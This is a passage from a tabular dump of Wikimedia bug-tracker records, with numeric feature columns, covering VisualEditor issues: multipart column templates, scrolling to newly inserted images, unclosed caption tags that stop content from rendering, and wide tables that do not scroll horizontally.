I have no idea if the {{BeginKolommen}} or tables within it have anything to do with the semantic failure; just thought I should mention it.",,,1374640614,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-vb4syhceqgegacimzles,task_subcomment,,True,c1,3,False,,,3,,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,13.0,2.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,18.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,8.0,13.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.7166666666666667,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It is on page two of 16

URL

I have no idea if the {{BeginKolommen}} or tables within it have anything to do with the semantic failure; just thought I should mention it."
251645,VisualEditor: Multicol/BeginKolommen/Colonne and wikitext leaking into VE,"(In reply to comment #3)
> I think it is impressive that VE handles it
> 
This is mostly thanks to Parsoid handling this case very well, and VE simply building a UI around it :)

> 'nl:Eerste divisie 1996/97' is on the parsoid topfails list
> 
> http://parsoid.wmflabs.org:8001/topfails
> 
Oh, I see. It's not any more now :(

> Here is an itwp example where multicol consumes most of the page, and should
> probably be removed.
> 
> https://it.wikipedia.org/wiki/Campagna_%28comune%29?veaction=edit
Yes. I just fixed that page.",,,1374640208,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vb4syhceqgegacimzles,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,6.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,28.0,0.0,1.0,6.0,0.0,1.0,0.0,1.0,1.0,3.0,1.0,0.0,6.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,3.0416666666666665,0.6527777777777778,"(In reply to comment #3)
QUOTE
QUOTE
This is mostly thanks to Parsoid handling this case very well, and VE simply building a UI around it :)

QUOTE
QUOTE
QUOTE
QUOTE
Oh, I see. It's not any more now :(

QUOTE
QUOTE
QUOTE
QUOTE
Yes. I just fixed that page."
251638,VisualEditor: Multicol/BeginKolommen/Colonne and wikitext leaking into VE,"I think it is impressive that VE handles it

'nl:Eerste divisie 1996/97' is on the parsoid topfails list

http://parsoid.wmflabs.org:8001/topfails

Here is an itwp example where multicol consumes most of the page, and should probably be removed.

https://it.wikipedia.org/wiki/Campagna_%28comune%29?veaction=edit",,,1374639358,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-vb4syhceqgegacimzles,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,2.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,6.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,6.0,9.0,13.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,6.0,9.0,0.0,4.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.851063829787234,0.8085106382978723,"I think it is impressive that VE handles it

'nl:Eerste divisie 1996/97' is on the parsoid topfails list

URL

Here is an itwp example where multicol consumes most of the page, and should probably be removed.

URL"
251631,VisualEditor: Multicol/BeginKolommen/Colonne and wikitext leaking into VE,"{{BeginKolommen}} generates the beginning of a table, and {{EindeKolommen}} generates the end of that table. All content between those two is treated as one template call. This is expected behavior in the current implementation, and is exactly the same as succession boxes and all other templates that generate openings and closings separately (multipart templates).

It would be nice if we could let users edit these in a nicer way, especially considering that some (but not all) of the wikitext blocks are actually innocuous wikitext that VE could reasonably edit, but right now we can't. This is part of the reason why multipart templates suck.

What is the Parsoid topfail thing you're talking about? There's no link to the failure and it seems unrelated to this issue.


Not closing this as INVALID or whatever because this is something we should actually handle better.",,,1374639024,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vb4syhceqgegacimzles,task_subcomment,,True,c1,3,False,,,3,,2.0,0.5,0.0,1.0,1.5,4.5,2.0,0.5,0.0,0.5,2.5,1.0,0.0,0.0,0.5,1.5,0.5,7.5,9.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,7.5,1.5,1.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.5,1.0,0.0,0.5,0.5,0.5,0.5,14.0,1.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.5,0.5,0.5,0.5,5.5,4.5,6.5,3.0,4.5,13.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,3.5,9.0,2.5,0.5,0.0,0.0,3.5,0.0,2.0,1.0,0.0,1.5,0.5,0.0,0.0,4.284883720930232,0.75,"{{BeginKolommen}} generates the beginning of a table, and {{EindeKolommen}} generates the end of that table. All content between those two is treated as one template call. This is expected behavior in the current implementation, and is exactly the same as succession boxes and all other templates that generate openings and closings separately (multipart templates).

It would be nice if we could let users edit these in a nicer way, especially considering that some (but not all) of the wikitext blocks are actually innocuous wikitext that VE could reasonably edit, but right now we can't. This is part of the reason why multipart templates suck.

What is the Parsoid topfail thing you're talking about? There's no link to the failure and it seems unrelated to this issue.


Not closing this as INVALID or whatever because this is something we should actually handle better."
251624,VisualEditor: Multicol/BeginKolommen/Colonne and wikitext leaking into VE,"Editing the wikitext appears to function correctly, which is good news.
https://it.wikipedia.org/w/index.php?title=Matematica&diff=60342095&oldid=59678552",,,1374638806,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-vb4syhceqgegacimzles,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,4.333333333333333,1.0,"Editing the wikitext appears to function correctly, which is good news.
URL"
53911,Scroll to an item when it is selected e.g. when it has been newly inserted,"The bug 51905 made me realize of a potential problem. When a media, say an image, is inserted, sometimes it may be inserted outside the field of view of the user, and this may lead some users to think that it wasn't inserted at all, causing aborted edits, confusion, frustration, and even bad edits. For example if there is an infobox in the article, or a bunch of images aligned to the right, then if the user inserts an image, in many cases it will be inserted below all this, and the user will not see it without scrolling the screen.

The solution to this potential problem is, I think, fairly simple: make the VisualEditor detect if the image is in the field of view of the user, and if it's not, then scroll the screen so that it is!

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=58091",Medium,50.0,1374614520,1427668322.0,PHID-USER-lucj4cqevg3ebah7vybd,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-3wggiaj4uckt3tln426a,task_description,resolved,True,c1,3,False,False,False,3,,2.0,0.0,0.0,2.0,1.5,3.5,0.5,0.0,0.0,2.0,1.5,0.5,0.0,0.0,0.5,1.0,0.0,6.0,12.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,4.5,2.5,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.5,15.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,10.0,4.0,5.5,4.0,2.5,12.5,0.0,0.0,0.5,0.0,5.0,0.0,0.5,0.0,4.0,12.0,0.5,0.0,0.0,0.0,4.0,0.0,0.5,3.0,0.5,1.0,0.0,0.0,0.0,3.6197916666666665,0.609375,"The bug 51905 made me realize of a potential problem. When a media, say an image, is inserted, sometimes it may be inserted outside the field of view of the user, and this may lead some users to think that it wasn't inserted at all, causing aborted edits, confusion, frustration, and even bad edits. For example if there is an infobox in the article, or a bunch of images aligned to the right, then if the user inserts an image, in many cases it will be inserted below all this, and the user will not see it without scrolling the screen.

The solution to this potential problem is, I think, fairly simple: make the VisualEditor detect if the image is in the field of view of the user, and if it's not, then scroll the screen so that it is!

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
435241,Scroll to an item when it is selected e.g. when it has been newly inserted,"Checked all Insert menu options in beta (Chrome, FF35, and Safari).

What was checked 

-  a cursor placed at the top/bottom of a page and Insert
-  a cursor placed at the bottom of a page - and scroll up and then 'Insert'
-  'Insert' options for Media Caption
-  'Undo/Redo' with different cursor positions
",,,1427741121,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-3wggiaj4uckt3tln426a,task_subcomment,,True,c1,3,True,,,91,,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,16.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,8.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,3.225,0.55,"Checked all Insert menu options in beta (Chrome, FF35, and Safari).

What was checked 

-  a cursor placed at the top/bottom of a page and Insert
-  a cursor placed at the bottom of a page - and scroll up and then 'Insert'
-  'Insert' options for Media Caption
-  'Undo/Redo' with different cursor positions
"
434741,Scroll to an item when it is selected e.g. when it has been newly inserted,"Change 200243 merged by jenkins-bot:
Scroll the selection into view when it is outside the window

[[https://gerrit.wikimedia.org/r/200243]]",,,1427668761,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3wggiaj4uckt3tln426a,task_subcomment,,True,c1,3,False,,,90,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,12.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,3.8076923076923075,0.8846153846153846,"Change 200243 merged by jenkins-bot:
Scroll the selection into view when it is outside the window

[[GERRIT_URL]]"
434313,Scroll to an item when it is selected e.g. when it has been newly inserted,"Change 200243 had a related patch set uploaded (by Mooeypoo):
Scroll to newly inserted elements

[[https://gerrit.wikimedia.org/r/200243]]
",,,1427494007,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3wggiaj4uckt3tln426a,task_subcomment,,True,c1,3,False,,,90,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.96,0.88,"Change 200243 had a related patch set uploaded (by Mooeypoo):
Scroll to newly inserted elements

[[GERRIT_URL]]
"
250623,Scroll to an item when it is selected e.g. when it has been newly inserted,"A auto-disappearing popup notice ""Your image has been inserted; scroll down to see it."" would help.",,,1374703747,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3wggiaj4uckt3tln426a,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.652173913043478,0.9130434782608695,"A auto-disappearing popup notice ""Your image has been inserted; scroll down to see it."" would help."
250617,Scroll to an item when it is selected e.g. when it has been newly inserted,I experienced the same problem in bug 51863.,,,1374703273,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3wggiaj4uckt3tln426a,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,I experienced the same problem in bug 51863.
53893,VisualEditor: Page content not rendered after unclosed  <center> tag in image caption of non-thumbnails,"When an image file is included directly in an article (i.e not as a thumbnail and not in a frame) with an unclosed <center> tag in the caption causes Visual Editor to not render any page content after the image.

See https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox2&oldid=565498603 for an example.

All the following conditions must be true to see this bug:
* Image must not be a thumbnail or in a frame
* The image caption must contain an unclosed html tag specifying text alignment in the caption. Tested with <center>, <p align=""center""> and <div align=""right"">
* The image placement (left, right or center) must be specified

The bug does not occur with an unclosed italic html tag. I haven't tested with other tags.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374598740,1380746942.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-gru24gdbzlh5sitams7s,task_description,resolved,True,c1,3,False,False,False,3,,1.0,0.0,0.0,1.0,3.0,5.0,1.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.5,0.5,5.0,7.5,0.0,1.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,0.0,0.0,15.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,9.0,2.0,7.5,0.5,2.0,10.5,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,0.5,7.5,3.0,0.0,1.0,0.0,0.5,0.0,0.5,5.0,0.0,1.0,0.0,0.0,5.0,3.7289156626506026,0.6686746987951807,"When an image file is included directly in an article (i.e not as a thumbnail and not in a frame) with an unclosed <center> tag in the caption causes Visual Editor to not render any page content after the image.

See URL for an example.

All the following conditions must be true to see this bug:
* Image must not be a thumbnail or in a frame
* The image caption must contain an unclosed html tag specifying text alignment in the caption. Tested with <center>, <p align=""center""> and <div align=""right"">
* The image placement (left, right or center) must be specified

The bug does not occur with an unclosed italic html tag. I haven't tested with other tags.

--------------------------
**Version**: unspecified
**Severity**: normal"
249650,VisualEditor: Page content not rendered after unclosed  <center> tag in image caption of non-thumbnails,"As we discussed and confirmed on IRC, this is not happening in production right now. So, I am going to mark this resolved-fixed. Please reopen if a similar error shows up.",,,1380746942,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-gru24gdbzlh5sitams7s,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,16.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,13.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.710526315789474,0.8947368421052632,"As we discussed and confirmed on IRC, this is not happening in production right now. So, I am going to mark this resolved-fixed. Please reopen if a similar error shows up."
249648,VisualEditor: Page content not rendered after unclosed  <center> tag in image caption of non-thumbnails,"Will provisionally mark this as in-review, then (you can see that it's still happening with production Parsoid, though that may be cache errors).",,,1380746013,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gru24gdbzlh5sitams7s,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,6.0,16.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.967741935483871,0.9354838709677419,"Will provisionally mark this as in-review, then (you can see that it's still happening with production Parsoid, though that may be cache errors)."
249646,VisualEditor: Page content not rendered after unclosed  <center> tag in image caption of non-thumbnails,"Unclosed tags in image caption is not that infrequent unfortunately -- the difference between <center> and <i>/<b> tags is that the former is a block tag and the latter is an inline tag. So, any other block tag that is unclosed will cause the same issue. 

That said, I am surprised that this problem showed up in the first place since Parsoid has had support to deal with unbalanced tags for a long time: https://gerrit.wikimedia.org/r/#/c/43384/

This was a bit of a hacky support. More robust and improved support for this is coming in https://gerrit.wikimedia.org/r/#/c/83216/

So, unsure what happened here with this bug.",,,1380745593,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-gru24gdbzlh5sitams7s,task_subcomment,,True,c1,3,True,,,13,,0.5,0.0,0.0,0.0,0.5,10.5,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,4.0,11.0,0.0,1.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.5,0.0,4.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.5,0.0,15.5,2.0,2.5,0.0,1.0,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,6.5,4.5,7.0,2.0,2.0,11.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,11.0,1.0,0.0,0.0,0.0,0.5,0.0,1.5,3.5,0.0,1.0,1.0,0.0,2.0,3.8553477498538866,0.7440093512565751,"Unclosed tags in image caption is not that infrequent unfortunately -- the difference between <center> and <i>/<b> tags is that the former is a block tag and the latter is an inline tag. So, any other block tag that is unclosed will cause the same issue. 

That said, I am surprised that this problem showed up in the first place since Parsoid has had support to deal with unbalanced tags for a long time: URL

This was a bit of a hacky support. More robust and improved support for this is coming in URL

So, unsure what happened here with this bug."
249645,VisualEditor: Page content not rendered after unclosed  <center> tag in image caption of non-thumbnails,"Forgot to note that although this combination of conditions is presumably uncommon, it was first observed in the wild at https://en.wikipedia.org/w/index.php?title=Typographer_%28typewriter%29&oldid=565431177",,,1374599024,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-gru24gdbzlh5sitams7s,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,27.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7272727272727275,1.0,"Forgot to note that although this combination of conditions is presumably uncommon, it was first observed in the wild at URL"
53867,VisualEditor: editing window does not horizontally scroll for wide tables or other elements,"first table at [[Comparison of container formats]] rendered in a 1024px wide window. Firefox 22 on Linux

In VisualEditor the editing window does not horizontally scroll to accommodate wide tables. Table cells and their contents render as if the window did scroll, but as it does not they are truncated.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51755
https://bugzilla.wikimedia.org/show_bug.cgi?id=51820

**Attached**: {F11662}",Medium,50.0,1374578220,1538407902.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-d3oejnwggmk2whlojm2x,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,1.0,2.0,6.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,14.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,9.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,3.7474747474747474,0.6262626262626263,"first table at [[Comparison of container formats]] rendered in a 1024px wide window. Firefox 22 on Linux

In VisualEditor the editing window does not horizontally scroll to accommodate wide tables. Table cells and their contents render as if the window did scroll, but as it does not they are truncated.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL

**Attached**: {F11662}"
1151386,VisualEditor: editing window does not horizontally scroll for wide tables or other elements,This works correctly these days. The page is horizontally scrollable.,,,1538407902,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-d3oejnwggmk2whlojm2x,task_subcomment,,True,c1,3,True,,,274,,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.9166666666666666,This works correctly these days. The page is horizontally scrollable.
478673,VisualEditor: editing window does not horizontally scroll for wide tables or other elements,it would be nice to have a fix for horizontal scrolling for wide tables,,,1434875532,,PHID-USER-yftvcvsb36qrmx4iohsm,False,,,PHID-TASK-d3oejnwggmk2whlojm2x,task_subcomment,,True,c1,3,False,,,102,,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.9285714285714286,it would be nice to have a fix for horizontal scrolling for wide tables
248198,VisualEditor: editing window does not horizontally scroll for wide tables or other elements,"en.wp user Cryptic C62 comments:
""VE does not correctly render any table wider than the screen, nor does it allow horizontal scrolling. This effect seems to extend to any wide element, including math formulas, images, transclusions, and text with non-breaking spaces. Some other findings:

* A horizontal scroll bar does appear when hovering over some elements with a mouseover effect, specifically images and uneditables (Strangely, the scroll bar does not appear when hovering over the {{Details}} template in this example). Scrolling can then occur if you have a clickable mousewheel.

* By placing the text cursor near the visible end of wide text, and pressing the right arrow key, it is possible to sneak the text cursor off of the page.""

Test cases: https://en.wikipedia.org/w/index.php?title=User:Cryptic_C62/sandbox&oldid=567261009",,,1375714875,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-d3oejnwggmk2whlojm2x,task_subcomment,,True,c1,3,False,,,5,,2.0,0.0,0.0,0.0,1.0,7.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,4.5,0.0,1.0,0.5,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,20.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,6.5,0.5,7.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,9.0,1.5,0.0,1.0,0.0,2.0,0.0,1.0,1.5,0.0,3.5,0.5,0.0,0.0,4.13977688977689,0.7870462870462871,"en.wp user Cryptic C62 comments:
""VE does not correctly render any table wider than the screen, nor does it allow horizontal scrolling. This effect seems to extend to any wide element, including math formulas, images, transclusions, and text with non-breaking spaces. Some other findings:

